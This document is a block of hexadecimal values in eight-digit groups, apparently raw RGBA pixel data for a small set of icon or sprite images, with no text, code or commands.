81FFEBBF81FFEBBE80FFF2C483FF96846DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF684520FFB38D61FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF5235BBFF4C1ED8FF4D20D7FF4D21
D7FF3F10D5FFF7F5FDFFF4F0FCFF3F10D5FF4E22D8FF4E22D8FF4E22D8FF4E22
D9FF4D21D7FF4C1FD7FF4C1ED8FF6B59B0FFB9BCBCFFFFFFFFFFF6E3C8FFEABB
77FFEABC7BFFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF82FFEBBF
82FFEBBF82FFEBBF81FFF2C585FF96836BFFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFFABA198FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF583FBEFF6743E7FF6441E6FF6540
E5FF532CE1FFFFFFFFFFFFFDFFFF522BE1FF613CE4FF613CE4FF613CE4FF623E
E4FF6540E6FF6441E6FF6540E7FF7060B3FFBCB5A9FFF4CD98FFEEC388FFEFC8
8FFFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC891FFEFC8
91FFEFC891FFEFC791FFF4CB93FFA49378FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFD4D4D4FFBDBCBCFFBDBDBCFFBDBD
BCFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBDBDFFBDBD
BDFFBDBDBCFFBDBCBCFFBCBCBCFFDEDEDEFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFF6C3B2AFF8D3310FF893311FF8A34
12FF8A3412FF8A3412FF8A3412FF8A3412FF893412FF852C09FF88300EFF852B
08FF893210FF893210FF8D3310FF72574EFF8B4A1EFFBA4C00FFB64C00FFB64B
00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74C00FFB74A
00FFB64B00FFB74C00FFBB4B00FF846046FFA5743BFFE29028FFE2912AFFE391
2AFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE3922BFFE392
2AFFE3912AFFE29129FFE29028FF957858FF596374FFA27D21FFB48100FFAD80
00FFAE8001FFAD8001FFAD8001FFAD8001FFAD8001FFAD8001FFAD8001FFAE80
01FFAC7D02FFAD8001FFB38200FF7D7044FF6D3A28FF863010FF853210FF8633
11FF863313FF863313FF863313FF832F0EFF7A2201FFC39C8FFF965034FFCBA7
9AFF832E0FFF7D2A07FF883110FF73584DFF84461FFFA14306FFA04307FFA145
08FFA14409FFA14409FFA14409FFA14409FFA14409FFA14409FFA14409FFA145
09FFA04508FFA04207FFA34306FF805E45FFA76D30FFD8801FFFD88121FFD882
22FFD88222FFD98222FFD98222FFD98222FFD98222FFD98222FFD98222FFD882
22FFD88122FFD88120FFD8801EFF95724EFF4A5094FF414ED0FF60538BFFA060
0AFFA56000FF9B5700FF9A5600FF9A5600FF9A5600FF9A5600FF9A5600FF9B56
00FF995500FF9A5400FF9C5400FF7B6441FF6D3925FF842E0EFF833010FF8530
11FF843210FF843210FF802805FFA4664EFFDCC5BCFFA56851FF93472CFFB484
6EFFBC8E7CFFC49D8EFF7A1E00FF72564BFFC2C6B7FFFFFFFDFFFFFFF9FFFFFF
F9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFFF9FFFFFF
F9FFFFFFF9FFFFFFF9FFFFFFFFFFA4A59CFF9F612AFFCC6C15FFCC6E17FFCD6E
19FFCD6F1AFFCD6F1AFFCC6F1BFFC47743FFC67840FFCD6F1AFFCD6F1AFFCD6F
19FFCD6E19FFCC6D17FFCB6C15FF8F6B4BFF444097FF3E38C8FF3E38CCFF3736
D2FF7A6093FFEDD7ADFFE7D0ACFFDFC7AAFFDFC7AAFFDFC7AAFFDFC7AAFFDFC7
AAFFDFC7AAFFDEC6A9FFE4CCAEFF948D80FF6B3825FF832C0AFF842D0EFF8330
0EFF852F10FF822C0AFFA26249FFB78874FF8A381AFF802907FF832E0CFF8027
06FF812C0CFFA2614BFFC09281FF705147FFBDBDB6FFFFFFFDFFFFFFF8FFFFFF
F8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFFF8FFFFFF
F8FFFFFFF8FFFFFFF8FFFFFFFFFFA0A09CFF985A2AFFC36216FFC36418FFC465
1AFFC4651AFFC36722FFB69CBAFF9591EBFFA5A1EEFFB393A9FFC4651CFFC465
1AFFC4651AFFC36318FFC26116FF8B674BFF3F349CFF3624D0FF3523CEFF3727
CEFF2F1FD2FF3A2CD6FFC3BFF4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FF6B3825FF832B09FF822E0DFF832D
0CFF842F0DFF822A0AFF985037FF9D5A40FF812A08FF852F10FF852F10FF8530
0EFF822C0AFF8E4023FFA8664EFF6E5047FF2E209AFF1904D0FF1C07CBFF1D08
CBFF1D09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1E09CBFF1D09
CBFF1D08CBFF1B06CCFF1903D0FF4E478CFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFE8E7FBFF9897EDFF9392ECFF8180E8FFA9A9F0FFEAEAFBFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3D2F9EFF2F18D4FF4E3BD8FF2009
CDFF513ED7FF321CD1FF250ECCFF503ED8FFDDD2E4FFF3DDC6FFECDAD2FFEBDA
D5FFEBDAD5FFEAD9D5FFF1DEDAFF98918FFF6D3924FF862C07FF7B2200FF852B
02FF862E0BFF822D0DFFF5F0EFFF812B0BFF842E0EFF853010FF853010FF8530
0FFF832F0DFF781D00FFF3E7E3FF775D54FF3A2C9DFF311DD4FF311CD0FF2F1D
D1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF321FD1FF301E
D1FF311DD1FF2F1BD1FF2C18D6FF554E8DFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFA7A6EFFF8988EAFF8D8CEBFFA09FEEFF7473E7FFBEBDF3FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F2F9EFF331BD4FF5E4DDAFFFFFF
FFFF7668E0FF2F19D0FF3722D2FF321DD0FF2411D4FF481788FF86250BFF8D25
00FF8C2400FF8B2300FF8E2100FF745147FF682F20FF9D4E25FFE0CBC5FFB4BC
FFFF835380FF802500FF9D5940FF8A3A1DFF832E0EFF853010FF853010FF8530
0FFF842F0EFF7C2504FFA8664FFF705147FF3B2F9EFF3520D5FF3823D3FF3521
D1FF311ED0FF301DD0FF311ED0FF311ED1FF311ED1FF311ED1FF311ED1FF301D
D1FF311CD1FF2E1AD1FF2C18D6FF554E8DFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFE9E9FBFF9897EDFF9392ECFF807DE8FFAAAAF0FFEDECFBFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F309EFF361ED5FF9B91E8FFFDFD
FEFFA097E9FF331FD0FF3520D1FF321CD0FF2310D4FF4D187DFF892406FF8D24
00FF8C2300FF8B2200FF8E2100FF745047FFA89A92FFB9B9FFFF8862A5FF9D4E
1CFF8E3401FF862E09FFDBC4BBFF8D3D1EFF812A0AFF832E0FFF832E0FFF832E
0EFF812C0BFF7C2303FFE3CAC1FF72564AFF33249CFF2910D3FF2A14D0FF2B15
D0FF2D17D0FF2914CFFF240FCEFF200CCCFF1F0BCCFF1F0BCCFF1F0BCCFF200B
CCFF1E0ACCFF1D08CCFF1C07D2FF50488CFFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFAAA9F0FF9291ECFF9594ECFFAAA9F0FF7877E7FFBDBDF3FFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A0A0FF3F319EFF3E26D8FF341BD2FF6756
DEFF361ED2FF3C26D3FF2910CEFF5647DAFFE3D9E5FFF6E4CFFFEFE1DBFFEFE1
DCFFEFE0DDFFEFE0DBFFF4E6E2FF999391FF6960ABFF8876E8FF897BECFF8983
FEFF8D669DFF90390AFF873006FFEADDD9FF903E19FF8A340CFF89340DFF8B36
10FF842C05FFE5D4CCFF97431BFF715448FFC6C7BCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF3432A7FF2D2BDCFF302EDDFF3230
DDFF3231DDFF9F75A4FF835FA8FF705CAFFF7064AEFF716DB4FF675FCDFF2E2D
DCFF2F2DDCFF2F2CDCFF2D2ADCFF514F93FF3F329EFF4128D9FF432CD6FF3F28
D5FF3C27DBFF4B37DEFFCECCFBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF716BAEFF9182EBFF8B7BE8FF9089
FDFF92699EFF923B0BFF913E14FFA25D3CFFCAA594FFB47B60FFBA896FFFA05A
37FFE1CBC1FF9B502AFF9A461BFF735548FFBFC6C9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A5A5FF3332A7FF2E2BDDFF302EDDFF3230
DDFF3431DEFFA78E96FF7C5399FF89839AFF889995FF917A90FF9C8AA3FF3330
DDFF3230DDFF302EDDFF2D2ADDFF4F4E93FF40339EFF432BDBFF412BDEFF3D2A
E2FF855A9BFFEED1B3FFE5C7B1FFDEBFB0FFDDBFB0FFDDBFB0FFDDBFB0FFDDBF
B0FFDDBFB0FFDEBEAFFFE3C3B3FF918681FF6E577CFFB4B1FFFFE3CBBDFFA859
20FF8D3100FF923E11FF923E11FF8F3809FF9E532AFF9A4921FFD0AD9AFF9F55
2EFFA0542CFF8F3707FF963D08FF725547FF6A351FFF8B3300FF893300FF8B35
00FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B3500FF8B35
00FF893400FF8A3300FF8E3400FF6E5046FF3332A7FF2E2BDDFF302EDEFF3230
DEFF3230DEFF3230DEFF403AD8FF453ED7FF3F39DAFF3E38D8FF3230DEFF3230
DEFF322FDEFF302EDEFF2D2BDDFF4E4E93FF3F31A2FF3B26EEFF613298FFA344
0EFFA54202FF9C3B03FF9B3903FF9B3903FF9B3903FF9B3903FF9B3903FF9B38
03FF9B3801FF9C3600FFA03800FF755246FF75412AFFAE6A43FF936DA9FFC1C3
FFFFC39E97FF9D512AFFA05733FFA05733FF9E5530FF9F5530FF9B4E28FF9E54
30FF9D5330FF9F5631FFA15732FF806054FF77482FFFA45F33FFA05C31FFA25C
33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D
33FFA25C33FFA15B31FFA45D32FF816455FF4242A3FF403ED8FF413FD8FF4240
D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4241D9FF4240
D9FF4240D9FF413FD8FF3F3DD8FF5F5F9DFF523D91FFA55B4FFFB45D20FFAF5C
31FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C33FFAE5C
33FFAE5C33FFAD5B31FFB05C32FF866355FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFC0C0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFC0BFBFFFC0BFBFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF2D40ABFF1C39F1FF1B39EDFF1C39
EDFF1C39EDFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39ECFF1C39
EDFF1C3AEDFF1C39ECFF1C39F3FF4E5A96FF5C8F38FFC7B42DFFE3AD2CFFD9AE
2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE2DFFD8AE
2DFFD8AE2DFFD8AF2CFFDEB32DFF8D8154FF41AFB5FF3FFBFFFF3EF6FFFF41F8
FFFF0D7AEBFF035FE5FF0666E7FF0666E7FF0666E7FF0666E7FF0666E7FF0666
E7FF0664E7FF0565E7FF0367EFFF476992FF3641A1FF37B2EAFFA9D362FFFBAF
00FFEDAF0BFFE8B012FFE8B012FFE8B012FFE8B012FFE8B012FFE8B012FFE8B0
12FFE8B111FFE8B010FFF0B610FF917D4EFF313AA8FF222DDFFF232DDCFF2230
DCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF242FDCFF2430
DCFF232EDCFF222DDCFF222CE2FF4F5697FF4C893FFF40AD36FF73A436FFCF97
34FFD49635FFCE9934FFCE9933FFCE9933FFCE9933FFCE9933FFCE9933FFCE98
33FFCD9834FFCD9733FFD39B32FF8E7D54FF46B0BBFF45E9FDFF46E6F9FF46E8
F9FF4BF2FCFF1566E0FF0A46DAFF0D4FDCFF0D4FDCFF0D4FDCFF0D4FDCFF0D4F
DCFF0B4FDCFF0B4EDCFF094DE2FF476394FF392A9DFF2B0CD4FF1D3FE8FF34BA
E1FFB1C64EFFF2A700FFE3A70DFFDFA913FFDFA913FFDFA913FFDFA913FFDFA9
13FFDFA912FFDFA911FFE6AC10FF94804DFF3435A5FF2423DDFF2624D5FF2727
D7FF2726D7FF2826D7FF2828D6FF2827D6FF2827D6FF2828D6FF2826D7FF2726
D7FF2727D7FF2524D5FF2423E0FF525293FF478141FF44A03CFF359B33FF389D
38FF91933AFFD18640FFCE8B3BFFCE8E38FFCE8E38FFCE8E38FFCE8E38FFCE8E
38FFCE8E37FFCF8D36FFD38E35FF8E7857FF4CA7ABFF4AE9FFFF4CE3F9FF4DE5
F9FF4DE6F9FF52F2FAFF1A57E0FF0C35D9FF103DDAFF103DDAFF103DDAFF103D
DAFF103CDBFF0E3BDBFF0C3AE1FF495C92FF2C5CB2FF260AD6FF2C11CEFF2B0C
D0FF1B4EEFFF40C4D3FFC0BE39FFEFA600FFE2A70DFFDFA910FFDFA910FFDFA9
10FFDFA711FFDFA810FFE4AB0DFF93804BFF7A461FFF9E4402FF9C4604FF9D46
06FF9D4806FF9D4706FF9D4707FF9D4707FF9D4707FF9D4707FF9D4706FF9D48
06FF9D4605FF9C4604FF9F4501FF7A5F48FF427745FF339138FFBADAB9FF8AC0
8BFF49A351FF318758FF282FC2FF2512E3FF251BD8FF261DD7FF261DD7FF261D
D7FF261CD7FF231AD7FF2217DCFF534F91FF5A801FFF53DEE2FF50E4FFFF52E1
F9FF53E1F9FF53E2F9FF58F1FAFF1B4BDFFF0E27D9FF122FDBFF1230DBFF122E
DBFF112FD9FF102CD9FF0D2CE0FF4A5591FF979139FF48C8C8FF1556F3FF2A0A
D1FF2D13CEFF2B0BD1FF165FF5FF4ECAC3FFCDB826FFEEA500FFE1A60CFFDFA7
10FFDFA80FFFDFA60CFFE4AA0BFF937E49FF794324FF9A3F08FF983E0BFF9940
0CFF99410DFF9A420EFF9A420EFF9A420EFF9A420EFF9A420EFF9A420EFF9941
0DFF99400CFF983F0AFF9C3F07FF785B49FF356D3BFFE7F3E8FFA2CAA6FF3490
3FFF58A362FF3B9543FF3D9F39FF396D70FF311BD3FF3017D7FF311DD0FF2F1C
D0FF301BD0FF2D19D0FF2C16D5FF554E8EFF5C8021FF66A000FF55DBE2FF53E4
FFFF55E2F9FF56E2F9FF56E3F9FF5CF1FAFF1E45DFFF1121D9FF142ADBFF1329
DBFF1228D9FF1125DAFF0E25E0FF4A5191FFA88321FFF5A600FFB9C03DFF39BF
D9FF1B47EBFF2C0ACEFF2E12CEFF280DD2FF166EF9FF5FCEB0FFDAB317FFEBA5
00FFE0A70BFFDFA70CFFE4AA08FF927E49FF803F20FFA43A00FF9E3700FF9D35
00FF9E3700FF9E3600FF9E3600FF9E3600FF9E3600FF9E3600FF9E3600FF9E37
00FF9D3500FF9C3500FFA23300FF7C5848FF4B7B51FFFFFFFFFF308D39FF4798
4FFF6EAF74FF399243FF3E9548FF3E9942FF3C9B3CFF2A488BFF220BCFFF220F
CDFF210CCDFF200CCDFF1D08D2FF50498CFF5C8124FF6BA509FF679F00FF55DB
E2FF55E4FFFF56E2F9FF56E2F9FF56E3F9FF5BF2FAFF1D45DFFF1022D9FF132A
DBFF1229D9FF1127DAFF0E25E0FF4A5391FFA58424FFE2AC0CFFE3A607FFF1A5
00FFA9C753FF2DB3E6FF1E36E6FF2C0CCFFF2E12CEFF2612D5FF1680FAFF6ED1
9EFFE3AF0AFFE9A400FFE5AA07FF927E49FF2AA8C6FF1AE6FFFF1DE4FFFF1BE2
FFFF16E1FFFF15E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1FFFF16E1
FFFF16E1FFFF14E2FFFF11E7FFFF4B94A5FF4A7A50FFFFFFFFFF3B9344FF4D9D
55FF6CAE74FF399243FF3D9447FF348F3FFF35903EFFBBDFB6FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF5D8225FF6DA90EFF6DA60EFF6DA1
02FF56DCE3FF54E3FFFF55E1F9FF55E2F9FF56E3F9FF5BF2FAFF1D47DFFF0F21
D9FF1229D9FF1127DAFF0E25E0FF4A5391FFA68525FFE7AC09FFE1AC0FFFE4A9
0BFFE5A506FFF1A600FF99CD69FF25A6EFFF2029E1FF2D0FCFFF2E11CEFF2519
DAFF198EF8FF7CD189FFF0AE00FF967D47FF339FB8FF28D9FFFF2BD7FCFF2DD7
FCFF2DD7FCFF2AD6FCFF24D4FCFF21D3FCFF21D3FCFF21D3FCFF21D3FCFF21D3
FCFF20D3FCFF1ED1FCFF1DD9FFFF508F9DFF38713FFFDFEFE1FFB3D5B6FF4298
4AFF65AA6DFF3F9649FF2E8B38FF87BC8CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF5E8325FF71AB0FFF6FA912FF72A9
11FF74A607FF5FDEE3FF58E4FFFF55E1F9FF54E1F9FF55E3F9FF5AF1FAFF1C45
DFFF0D1ED8FF0F25D9FF0E26E0FF4B5391FFA88521FFB9BB47FFE5AD0DFFB6B9
49FFDCB01CFFE0AD12FFE7A707FFEDA900FF89D07CFF1C98F5FF231DDCFF2B0F
CEFF2A0DCEFF1D1EDDFF20A1F5FF738F70FF339FB8FF2CDAFFFF2ED8FCFF30D8
FCFF31D8FCFF31D8FCFF31D8FCFF32D8FCFF2FD8FCFF2ED7FCFF2DD7FCFF2DD7
FCFF2DD7FCFF2CD8FCFF2CDDFFFF518F9DFF45774BFF3C9846FFB3D5B7FF93C4
97FF57A254FF73AD68FFFEF9EDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA59E9EFF608326FF74AD10FF74AB13FF73AC
16FF75AA14FF76A808FF65DEE3FF63E7FFFF62E5F8FF60E3F8FF5FE5F9FF66F5
FBFF264FE1FF162CDBFF1736E5FF4B5491FFA88621FFE2B215FF1EE0FFFF43D7
E1FFF6AB00FFE2B117FFE2B117FFE2B116FFEBAE0AFFEAB30BFF7DD796FF228D
FAFF311EDCFF3819D3FF3817DBFF515393FF34A0B8FF2DDBFFFF2FD9FCFF31D9
FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9FCFF32D9
FCFF31D9FCFF2FD9FCFF2DDEFFFF508F9DFF45784BFF4CA255FF459745FF489B
4AFF3FBDC2FF36D4FFFF2CCEFFFF28CCFFFF28CCFFFF28CCFFFF28CCFFFF27CC
FFFF26CBFFFF25CBFFFF24D0FFFF4E8A9EFF608425FF76AF10FF76AD13FF77AE
15FF77AE16FF77AC14FF78AA08FF67DFE4FF65E8FFFF66E6FAFF66E6FAFF65E7
FAFF6BF6FBFF2652E2FF132EE3FF4B5491FFA88625FF61D5BCFF2ADEFFFF30DE
FBFF98C378FFE9B10EFFE3B317FFE3B317FFE3B317FFE4B315FFEEB009FFE4BB
16FF73D7A8FF2482FDFF3517E1FF554A8DFF33A1B8FF2CDDFFFF2CD9FCFF2FD9
FCFF2ED9FCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF30DAFCFF2ED9
FCFF2FD9FCFF2DD9FCFF2BE0FFFF508E9CFF467848FF4F9F47FF43B298FF36D3
FFFF37D3FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF37D1FFFF38D1
FFFF37D1FFFF36D0FFFF36D7FFFF528A9DFF608323FF78B10BFF76AE0EFF77AF
10FF76AF11FF78AF11FF78AE0EFF78AA02FF67E1E0FF64E8FFFF64E6FAFF64E6
FAFF65E7FBFF6BF5FCFF2154E9FF494F8FFFA88622FFFAB000FF84CA8EFFDBB5
1EFFECB206FFE3B411FFE3B411FFE3B411FFE3B411FFE3B411FFE3B411FFE5B4
0EFFF0B000FFDBBF1BFF63D7BBFF496A9EFF3CA5BDFF4BE2FFFF49DFFEFF4ADF
FEFF4ADFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF49DFFEFF4ADF
